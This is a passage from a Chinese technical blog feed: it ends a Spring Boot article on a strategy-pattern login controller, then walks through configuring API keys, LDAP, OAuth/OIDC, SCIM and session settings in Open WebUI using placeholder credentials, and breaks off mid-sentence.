class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>前端可以根据这个列表动态展示登录按钮，而不需要硬编码登录方式。</p><hr><h3 id="19-2-7-4-对比传统写法">19.2.7.4. 对比传统写法</h3><p>现在让我们对比一下传统写法和策略模式的差异。</p><p><strong>传统写法（假设的 if-else 版本）</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/login&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;AuthToken&gt; <span class="title function_">login</span><span class="params">(<span class="meta">@RequestBody</span> Map&lt;String, Object&gt; request)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">type</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;type&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (<span class="string">&quot;password&quot;</span>.equals(type)) &#123;</span><br><span class="line">        <span class="comment">// 账号密码登录逻辑（50 行代码）</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;username&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;password&quot;</span>);</span><br><span class="line">        <span class="comment">// 查询用户、验证密码、生成 Token...</span></span><br><span class="line">        </span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;sms&quot;</span>.equals(type)) &#123;</span><br><span class="line">        <span class="comment">// 手机验证码登录逻辑（50 行代码）</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">phone</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;phone&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;code&quot;</span>);</span><br><span class="line">        <span class="comment">// 验证验证码、查询或创建用户、生成 Token...</span></span><br><span class="line">        </span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;wechat&quot;</span>.equals(type)) &#123;</span><br><span class="line">        <span class="comment">// 微信扫码登录逻辑（50 行代码）</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;code&quot;</span>);</span><br><span class="line">        <span class="comment">// 调用微信 API、查询或创建用户、生成 Token...</span></span><br><span class="line">        </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;不支持的登录方式: &quot;</span> + type);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>策略模式写法（当前实现）</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/login&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;AuthTokenVO&gt; <span class="title function_">login</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> AuthRequest request)</span> &#123;</span><br><span class="line">    log.info(<span class="string">&quot;收到登录请求: type=&#123;&#125;&quot;</span>, request.getAuthType().getDescription());</span><br><span class="line">    <span class="type">AuthTokenVO</span> <span class="variable">authToken</span> <span class="operator">=</span> authStrategyFactory.authenticate(request);</span><br><span class="line">    <span class="keyword">return</span> Result.ok(authToken);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>对比结果</strong></p><table><thead><tr><th style="text-align:left">对比维度</th><th style="text-align:left">传统写法</th><th style="text-align:left">策略模式</th></tr></thead><tbody><tr><td style="text-align:left">Controller 代码量</td><td style="text-align:left">250+ 行</td><td style="text-align:left">3 行</td></tr><tr><td style="text-align:left">if-else 分支</td><td style="text-align:left">5 个</td><td style="text-align:left">0 个</td></tr><tr><td style="text-align:left">新增登录方式</td><td style="text-align:left">修改 Controller</td><td style="text-align:left">只需实现 <code>AuthStrategy</code> 接口</td></tr><tr><td style="text-align:left">可测试性</td><td style="text-align:left">难以单独测试</td><td style="text-align:left">可以单独测试每个策略</td></tr><tr><td style="text-align:left">职责分离</td><td style="text-align:left">Controller 包含业务逻辑</td><td style="text-align:left">Controller 只负责调度</td></tr></tbody></table><hr><h3 id="19-2-7-5-本节小结">19.2.7.5. 本节小结</h3><p>本节完成了 Controller 层的创建，提供了统一的登录入口。Controller 层的代码非常简洁，只有 3 行核心代码，所有的策略选择、身份验证、Token 生成都由工厂类和策略类完成。这就是策略模式的最终效果：<strong>无论有多少种登录方式，Controller 层的代码永远只有几行</strong>。</p><table><thead><tr><th style="text-align:left">要点</th><th style="text-align:left">何时使用</th><th style="text-align:left">关键动作</th></tr></thead><tbody><tr><td style="text-align:left">统一响应格式</td><td style="text-align:left">所有接口</td><td style="text-align:left">定义 Result 类，包含 code、message、data 三个字段</td></tr><tr><td style="text-align:left">统一登录接口</td><td style="text-align:left">前端发送登录请求</td><td style="text-align:left">委托给工厂类，工厂类自动选择策略</td></tr><tr><td style="text-align:left">获取支持的登录方式</td><td style="text-align:left">前端动态展示登录按钮</td><td style="text-align:left">调用工厂类的 getSupportedTypes 方法</td></tr></tbody></table><p>在下一节中，我们将实现具体的策略类，让整个认证工厂真正运转起来。</p></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/26436.html</id>
    <link href="https://blog.prorisehub.com/posts/26436.html"/>
    <published>2026-03-02T20:15:45.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h1>Note 19.2. 逻辑引擎：基于策略模式的认证工厂</h1>
<h2 id="19-2-1-问题引入">19.2.1.]]>
    </summary>
    <title>Note 19（第二章）. SpringBoot3-手动实现一个最佳规范的策略模式登录注册认证工厂</title>
    <updated>2026-05-07T03:10:51.033Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-9-安全与认证配置">3.9. 安全与认证配置</h2><p>这一章讲的是“谁能登录、谁能调用 API、用户身份如何同步、会话如何保活”。</p><p>如果你是个人用户，这部分很多配置可以先不动；但只要进入团队协作、公司内网、对接脚本或自动化系统，这一章就会变成必修课。</p><p>在开始之前，先解释几个经常会混在一起的术语：</p><ul><li><strong>认证（Authentication）</strong>：证明“你是谁”。例如账号密码登录、LDAP 登录、Google 登录。</li><li><strong>授权（Authorization）</strong>：决定“你能做什么”。例如能不能看某个模型、能不能导出模型、能不能管理工具。</li><li><strong>API Key</strong>：发给程序用的密钥，适合脚本、集成平台、外部服务调用 Open WebUI API。</li><li><strong>LDAP</strong>：企业常见的目录服务协议，很多公司的 AD（Active Directory）也兼容这套方式。</li><li><strong>OAuth / OIDC</strong>：第三方登录体系。OAuth 偏“授权”，OIDC 是建立在 OAuth 之上的“身份登录”标准。</li><li><strong>SCIM</strong>：自动开通和回收账号的标准，不负责“登录”，而负责“账号生命周期同步”。</li></ul><h3 id="API-密钥认证">API 密钥认证</h3><p><strong>这是什么</strong></p><p>Open WebUI 支持为用户生成 API Key，让外部脚本、自动化流程、内部平台、工作流引擎通过 HTTP API 访问它。</p><p>典型场景包括：</p><ul><li>用 Python、Node.js 或 Shell 脚本调用聊天接口</li><li>用企业内部系统转发请求到 Open WebUI</li><li>给工作流平台、Bot、自动化任务提供一个稳定认证方式</li></ul><p>它和“浏览器登录 Cookie”不是一回事：</p><ul><li>浏览器登录主要给人用</li><li>API Key 主要给程序用</li></ul><p><strong>如何启用</strong></p><p>管理员面板 → 设置 → 通用 → 启用 API Key</p><p>启用后，用户就可以在自己的账号设置中创建 API Key。</p><p>当前版本除了总开关外，还支持 <strong>API Key Endpoint Restrictions</strong>，也就是“限制 API Key 只能访问哪些接口”。这个能力很重要，因为它可以避免把一把过大的密钥发给外部系统。</p><p><strong>用户如何生成密钥</strong></p><p>点击头像 → 设置 → 账号 → API 密钥 → 点击“创建新密钥”</p><p>创建后要立即保存，因为这类密钥通常不会反复明文展示。</p><p><strong>调用示例</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST http://localhost:3000/api/chat \</span><br><span class="line">  -H <span class="string">&quot;Authorization: Bearer sk-...&quot;</span> \</span><br><span class="line">  -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">  -d <span class="string">&#x27;&#123;&quot;message&quot;: &quot;Hello&quot;&#125;&#x27;</span></span><br></pre></td></tr></table></figure><p><strong>官方建议理解</strong></p><p>官网当前的方向不是“默认把所有接口都敞开”，而是：</p><ul><li>可以启用 API Key</li><li>可以进一步启用接口级限制</li><li>在可信内网环境里可以更宽松，在生产环境则建议更严格</li></ul><p><strong>我的管理方式</strong></p><p>在我的环境里，API Key 主要给“程序”而不是“人”使用，所以我通常这样管理：</p><ol><li>浏览器用户走正常登录，不给所有人默认要求 API Key。</li><li>只有确实需要脚本调用的账号，才生成 API Key。</li><li>给外部系统时，优先启用接口限制，不给过大的权限面。</li><li>定期清理不再使用的密钥，避免历史脚本长期持有可用凭证。</li><li>如果只是临时测试，我会单独创建测试用密钥，不和正式环境长期复用。</li></ol><h3 id="LDAP-集成">LDAP 集成</h3><p><strong>这是什么</strong></p><p>LDAP 可以理解为“公司统一通讯录 / 账号目录”的标准接口。</p><p>如果你所在的组织已经有 AD、OpenLDAP 或其他企业目录系统，那么 Open WebUI 可以直接对接这个目录，让员工使用公司账号登录，而不是在 Open WebUI 里重复创建本地账号。</p><p><strong>适合谁</strong></p><ul><li>公司内网部署</li><li>已有统一身份管理</li><li>希望账号、邮箱、用户名来自企业目录</li></ul><p>个人部署、小团队、临时测试环境，通常不需要上 LDAP。</p><p><strong>官方配置思路</strong></p><p>LDAP 推荐先通过环境变量初始化，然后在管理员面板里继续维护。官网特别强调一件事：</p><blockquote><p>如果启用了持久化配置（默认就是），很多环境变量只在<strong>第一次启动</strong>时读入；后续修改通常要在管理后台里改，而不是只改 <code>docker-compose</code>。</p></blockquote><p>这点非常重要，也是很多人“明明改了环境变量，怎么界面没变”的根源。</p><p><strong>当前版本常见环境变量</strong></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">ENABLE_LDAP=true</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_SERVER_LABEL=OpenLDAP</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_SERVER_HOST=ldap.example.com</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_SERVER_PORT=389</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_ATTRIBUTE_FOR_MAIL=mail</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_ATTRIBUTE_FOR_USERNAME=uid</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_APP_DN=cn=admin,dc=example,dc=org</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_APP_PASSWORD=your_password</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_SEARCH_BASE=dc=example,dc=org</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_SEARCH_FILTER=(uid=%(user)s)</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_USE_TLS=true</span></span><br></pre></td></tr></table></figure><p>你会发现，这一版和很多旧博客里写的 <code>LDAP_SERVER_URL</code>、<code>LDAP_BIND_DN</code> 之类名字不完全一样。写文档时一定要以当前版本为准。</p><p><strong>参数解释</strong></p><table><thead><tr><th>参数</th><th>说明</th></tr></thead><tbody><tr><td><code>ENABLE_LDAP</code></td><td>是否启用 LDAP 登录</td></tr><tr><td><code>LDAP_SERVER_LABEL</code></td><td>在界面里显示的 LDAP 名称</td></tr><tr><td><code>LDAP_SERVER_HOST</code> / <code>LDAP_SERVER_PORT</code></td><td>LDAP 服务器地址和端口</td></tr><tr><td><code>LDAP_ATTRIBUTE_FOR_MAIL</code></td><td>从 LDAP 条目里取邮箱的字段</td></tr><tr><td><code>LDAP_ATTRIBUTE_FOR_USERNAME</code></td><td>从 LDAP 条目里取用户名的字段</td></tr><tr><td><code>LDAP_APP_DN</code> / <code>LDAP_APP_PASSWORD</code></td><td>用于查询目录的服务账号</td></tr><tr><td><code>LDAP_SEARCH_BASE</code></td><td>搜索用户的根 DN</td></tr><tr><td><code>LDAP_SEARCH_FILTER</code></td><td>登录时查找用户的过滤器</td></tr><tr><td><code>LDAP_USE_TLS</code></td><td>是否启用 TLS / StartTLS</td></tr></tbody></table><p><strong>正确的排错顺序</strong></p><p>不要一上来就怀疑 Open WebUI。</p><p>官网推荐的思路是：</p><ol><li>先验证 LDAP 服务器本身通不通</li><li>再验证用户条目能不能查到</li><li>最后才看 Open WebUI 配置</li></ol><p>例如：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ldapsearch -x -H ldap://ldap.example.com:389 \</span><br><span class="line">  -D <span class="string">&quot;cn=admin,dc=example,dc=org&quot;</span> -w your_password \</span><br><span class="line">  -b <span class="string">&quot;dc=example,dc=org&quot;</span> <span class="string">&quot;(uid=jdoe)&quot;</span></span><br></pre></td></tr></table></figure><p>如果这一步都查不到用户，就不要继续在 WebUI 里盲改了。</p><p><strong>我的管理方式</strong></p><p>我自己的判断规则很简单：</p><ul><li>如果是企业内部正式使用，并且员工已经有统一账号体系，我会优先接 LDAP。</li><li>如果只是个人站点、朋友共用、测试环境，我不会为了“看起来企业化”硬上 LDAP。</li><li>上 LDAP 后，我会尽量让用户名、邮箱、显示名都来自目录系统，避免 Open WebUI 自己成为第二套主数据来源。</li></ul><h3 id="OAuth-OIDC-SSO-集成">OAuth / OIDC / SSO 集成</h3><p><strong>这是什么</strong></p><p>这一组就是“第三方登录”。</p><p>最常见的使用方式是：</p><ul><li>用 Google 账号登录</li><li>用 Microsoft / Entra ID 账号登录</li><li>用 GitHub 账号登录</li><li>用企业自己的 OIDC 服务登录</li></ul><p>如果说 LDAP 更像“公司内网目录登录”，那 OAuth / OIDC 更像“现代网站统一登录”。</p><p><strong>先说结论：本地开发完全可以配</strong></p><p>而且你现在这个仓库已经改成了：</p><ul><li><code>docker-compose.local.yaml</code> 自动读取 <code>.env.local</code></li><li>本地端口由 <code>OPEN_WEBUI_PORT</code> 控制</li><li>Google、Microsoft、GitHub 三家都可以直接写在 <code>.env.local</code></li></ul><p>所以对读者来说，最容易跟做的方式就是：</p><ol><li>去各自官网创建 OAuth 应用</li><li>把回调地址填成 Open WebUI 本地回调</li><li>把拿到的密钥填进 <code>.env.local</code></li><li>重启本地容器</li></ol><p><strong>本地统一配置模板</strong></p><p>如果你的本地端口是 <code>3000</code>，那么 <code>.env.local</code> 先这样写：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">OPEN_WEBUI_PORT=3000</span><br><span class="line">WEBUI_URL=http://localhost:3000</span><br><span class="line">ENABLE_OAUTH_SIGNUP=true</span><br><span class="line">OAUTH_MERGE_ACCOUNTS_BY_EMAIL=true</span><br><span class="line"></span><br><span class="line">GOOGLE_CLIENT_ID=</span><br><span class="line">GOOGLE_CLIENT_SECRET=</span><br><span class="line">GOOGLE_REDIRECT_URI=http://localhost:3000/oauth/google/login/callback</span><br><span class="line"></span><br><span class="line">MICROSOFT_CLIENT_ID=</span><br><span class="line">MICROSOFT_CLIENT_SECRET=</span><br><span class="line">MICROSOFT_CLIENT_TENANT_ID=common</span><br><span class="line">MICROSOFT_REDIRECT_URI=http://localhost:3000/oauth/microsoft/login/callback</span><br><span class="line"></span><br><span class="line">GITHUB_CLIENT_ID=</span><br><span class="line">GITHUB_CLIENT_SECRET=</span><br><span class="line">GITHUB_CLIENT_REDIRECT_URI=http://localhost:3000/oauth/github/login/callback</span><br></pre></td></tr></table></figure><p>写完后执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d --build</span><br></pre></td></tr></table></figure><p>如果你的端口不是 <code>3000</code>，例如 <code>5050</code>，那上面所有 <code>localhost:3000</code> 都要统一改成 <code>localhost:5050</code>。</p><div class="tabs" id="oauth_local_setup"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="oauth_local_setup-1">Google</button><button type="button" class="tab " data-href="oauth_local_setup-2">Microsoft</button><button type="button" class="tab " data-href="oauth_local_setup-3">GitHub</button></ul><div class="tab-contents"><div class="tab-item-content active" id="oauth_local_setup-1"><p><strong>适用场景</strong></p><p>如果你想直接使用 Google 账号登录，这是最常见的一种配置。</p><p><strong>第 1 步：去 Google 官方后台创建应用</strong></p><p>访问：</p><p><a href="https://console.cloud.google.com/apis/credentials">https://console.cloud.google.com/apis/credentials</a></p><p>进入后：</p><ol><li>创建或选择一个 Project</li><li>打开 <code>APIs &amp; Services</code></li><li>进入 <code>Credentials</code>（凭证）</li><li>点击 <code>Create Credentials</code></li><li>选择 <code>OAuth client ID</code></li><li>Application type 选择 <code>Web application</code></li></ol><p><strong>第 2 步：登记回调地址</strong></p><p>在 <code>Authorized redirect URIs</code> 中填写：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:3000/oauth/google/login/callback</span><br></pre></td></tr></table></figure><p><strong>第 3 步：把拿到的密钥填入 <code>.env.local</code></strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">GOOGLE_CLIENT_ID=你的 Google Client ID</span><br><span class="line">GOOGLE_CLIENT_SECRET=你的 Google Client Secret</span><br><span class="line">GOOGLE_REDIRECT_URI=http://localhost:3000/oauth/google/login/callback</span><br></pre></td></tr></table></figure><p><strong>第 4 步：重启本地 Open WebUI</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d --build</span><br></pre></td></tr></table></figure><p><strong>注意事项</strong></p><ul><li>Google 开发环境允许 <code>http://localhost</code></li><li>回调地址必须和后台里登记的 URI 完全一致</li><li>如果你改了端口，Google 后台也要一起改</li></ul></div><div class="tab-item-content" id="oauth_local_setup-2"><p><strong>适用场景</strong></p><p>如果用户本身就在 Microsoft 365、Entra ID、企业账号体系里，这一项非常常见。</p><p><strong>第 1 步：去 Microsoft Entra 后台注册应用</strong></p><p>访问：</p><p><a href="https://portal.azure.com/">https://portal.azure.com/</a></p><p>进入后：</p><ol><li>打开 <code>Microsoft Entra ID</code></li><li>进入 <code>App registrations</code></li><li>点击 <code>New registration</code></li><li>创建一个应用</li></ol><p><strong>第 2 步：配置回调地址</strong></p><p>在 <code>Authentication</code> 页面里添加：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:3000/oauth/microsoft/login/callback</span><br></pre></td></tr></table></figure><p><strong>第 3 步：生成 Secret 并写入 <code>.env.local</code></strong></p><p>在 <code>Certificates &amp; secrets</code> 中生成一个 <code>Client secret</code>，然后填入：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">MICROSOFT_CLIENT_ID=你的 Microsoft Client ID</span><br><span class="line">MICROSOFT_CLIENT_SECRET=你的 Microsoft Client Secret</span><br><span class="line">MICROSOFT_CLIENT_TENANT_ID=common</span><br><span class="line">MICROSOFT_REDIRECT_URI=http://localhost:3000/oauth/microsoft/login/callback</span><br></pre></td></tr></table></figure><p>如果你只允许某一个租户登录，把 <code>common</code> 改成你的实际 Tenant ID 即可。</p><p><strong>第 4 步：重启本地 Open WebUI</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d --build</span><br></pre></td></tr></table></figure><p><strong>注意事项</strong></p><ul><li>Microsoft 也支持本地 <code>localhost</code> 回调</li><li>本地开发可以先用 <code>common</code></li><li>正式环境建议单独使用正式域名和正式应用注册</li></ul></div><div class="tab-item-content" id="oauth_local_setup-3"><p><strong>适用场景</strong></p><p>如果你的用户本身大量使用 GitHub，这是最容易理解、也最容易测试的一项。</p><p><strong>第 1 步：去 GitHub Developer Settings 创建 OAuth App</strong></p><p>访问：</p><p><a href="https://github.com/settings/developers">https://github.com/settings/developers</a></p><p>进入后：</p><ol><li>打开 <code>OAuth Apps</code></li><li>点击 <code>New OAuth App</code></li></ol><p><strong>第 2 步：填写回调地址</strong></p><p>最关键的是 <code>Authorization callback URL</code>：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:3000/oauth/github/login/callback</span><br></pre></td></tr></table></figure><p><strong>第 3 步：把密钥填入 <code>.env.local</code></strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">GITHUB_CLIENT_ID=你的 GitHub Client ID</span><br><span class="line">GITHUB_CLIENT_SECRET=你的 GitHub Client Secret</span><br><span class="line">GITHUB_CLIENT_REDIRECT_URI=http://localhost:3000/oauth/github/login/callback</span><br></pre></td></tr></table></figure><p><strong>第 4 步：重启本地 Open WebUI</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d --build</span><br></pre></td></tr></table></figure><p><strong>注意事项</strong></p><ul><li>GitHub 对 callback URL 也是精确匹配</li><li>如果后台填的是 <code>127.0.0.1</code>，本地配置也要统一成 <code>127.0.0.1</code></li><li>不要后台填 <code>127.0.0.1</code>，本地却写 <code>localhost</code></li></ul></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><p>为了更容易排错，我建议不要一上来三个一起配，而是按这个顺序：</p><ol><li>先配一个，例如 GitHub</li><li>测通之后，再加 Google</li><li>最后再加 Microsoft</li></ol><p>这样如果出现问题，最容易定位。</p><p>最常见的报错就是：</p><ul><li><code>redirect_uri_mismatch</code></li><li>端口改了，但开放平台后台没改</li><li><code>.env.local</code> 改了，但容器没重启</li><li>后台写的是 <code>127.0.0.1</code>，本地写的是 <code>localhost</code></li></ul><h3 id="SCIM-自动开通与回收">SCIM 自动开通与回收</h3><p><strong>这是什么</strong></p><p>SCIM 不是登录协议，而是“账号生命周期同步协议”。</p><p>它解决的问题是：</p><ul><li>新员工入职时，自动在 Open WebUI 创建账号</li><li>员工信息变化时，自动同步更新</li><li>员工离职时，自动停用账号</li><li>用户组成员关系自动同步</li></ul><p>所以可以把它理解成“自动开账号、改账号、停账号”的标准接口。</p><p><strong>和 OAuth / LDAP 的关系</strong></p><ul><li>LDAP / OAuth / OIDC：解决“怎么登录”</li><li>SCIM：解决“账号怎么自动创建和同步”</li></ul><p>很多企业会同时使用：</p><ul><li>用 OIDC 登录</li><li>用 SCIM 做账号与组同步</li></ul><p><strong>当前版本配置</strong></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">SCIM_ENABLED=true</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">SCIM_TOKEN=your-secure-random-token</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">SCIM_AUTH_PROVIDER=oidc</span></span><br></pre></td></tr></table></figure><p><strong>参数解释</strong></p><table><thead><tr><th>参数</th><th>说明</th></tr></thead><tbody><tr><td><code>SCIM_ENABLED</code></td><td>是否启用 SCIM</td></tr><tr><td><code>SCIM_TOKEN</code></td><td>调用 SCIM API 的 Bearer Token</td></tr><tr><td><code>SCIM_AUTH_PROVIDER</code></td><td>用于把 SCIM <code>externalId</code> 和对应认证提供商关联起来，例如 <code>microsoft</code>、<code>oidc</code></td></tr></tbody></table><p>这里的 <code>SCIM_AUTH_PROVIDER</code> 很容易被漏掉，但当前版本里它是重要配置，尤其是在账户关联和 <code>externalId</code> 保存上。</p><p><strong>对接端点</strong></p><p>SCIM Base URL：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://your-domain.com/api/v1/scim/v2/</span><br></pre></td></tr></table></figure><p>常见资源端点：</p><table><thead><tr><th>资源</th><th>端点</th></tr></thead><tbody><tr><td>用户</td><td><code>/api/v1/scim/v2/Users</code></td></tr><tr><td>组</td><td><code>/api/v1/scim/v2/Groups</code></td></tr></tbody></table><p><strong>我的管理方式</strong></p><p>我把 SCIM 视为“企业级增强项”：</p><ul><li>小规模自用：完全不需要</li><li>团队规模不大，但已有统一登录：先上 OAuth / LDAP，SCIM 可以以后再说</li><li>企业正式上生产：如果人事变动频繁、合规要求高，就值得上 SCIM</li></ul><p>它的价值不在“让用户多一个登录按钮”，而在于减少人工维护账号、降低离职账号遗留风险。</p><h3 id="会话、JWT-与-Cookie">会话、JWT 与 Cookie</h3><p><strong>这是什么</strong></p><p>用户在浏览器里登录后，Open WebUI 需要一种机制记住登录状态，这通常会涉及：</p><ul><li><strong>JWT</strong>：登录令牌</li><li><strong>Session Cookie</strong>：浏览器保存的登录凭证</li><li><strong>Secret Key</strong>：服务器用来签名和加密敏感数据的密钥</li></ul><p><strong>当前版本重点配置</strong></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">WEBUI_SECRET_KEY=your-persistent-secret-key</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">JWT_EXPIRES_IN=4w</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">WEBUI_SESSION_COOKIE_SAME_SITE=Lax</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">WEBUI_SESSION_COOKIE_SECURE=true</span></span><br></pre></td></tr></table></figure><p><strong>参数解释</strong></p><table><thead><tr><th>参数</th><th>说明</th></tr></thead><tbody><tr><td><code>WEBUI_SECRET_KEY</code></td><td>最关键的持久化密钥，用于会话签名和敏感数据解密</td></tr><tr><td><code>JWT_EXPIRES_IN</code></td><td>登录令牌过期时间，例如 <code>4w</code>、<code>7d</code></td></tr><tr><td><code>WEBUI_SESSION_COOKIE_SAME_SITE</code></td><td>Cookie 的跨站策略</td></tr><tr><td><code>WEBUI_SESSION_COOKIE_SECURE</code></td><td>是否只通过 HTTPS 发送 Cookie</td></tr></tbody></table><p><strong>为什么 <code>WEBUI_SECRET_KEY</code> 非常重要</strong></p><p>官网 FAQ 专门提到，如果你每次重建容器都不保留同一个 <code>WEBUI_SECRET_KEY</code>，会出现两类典型问题：</p><ul><li>用户升级或重启后被全部强制退出</li><li>一些已经加密保存的令牌、API Key、OAuth 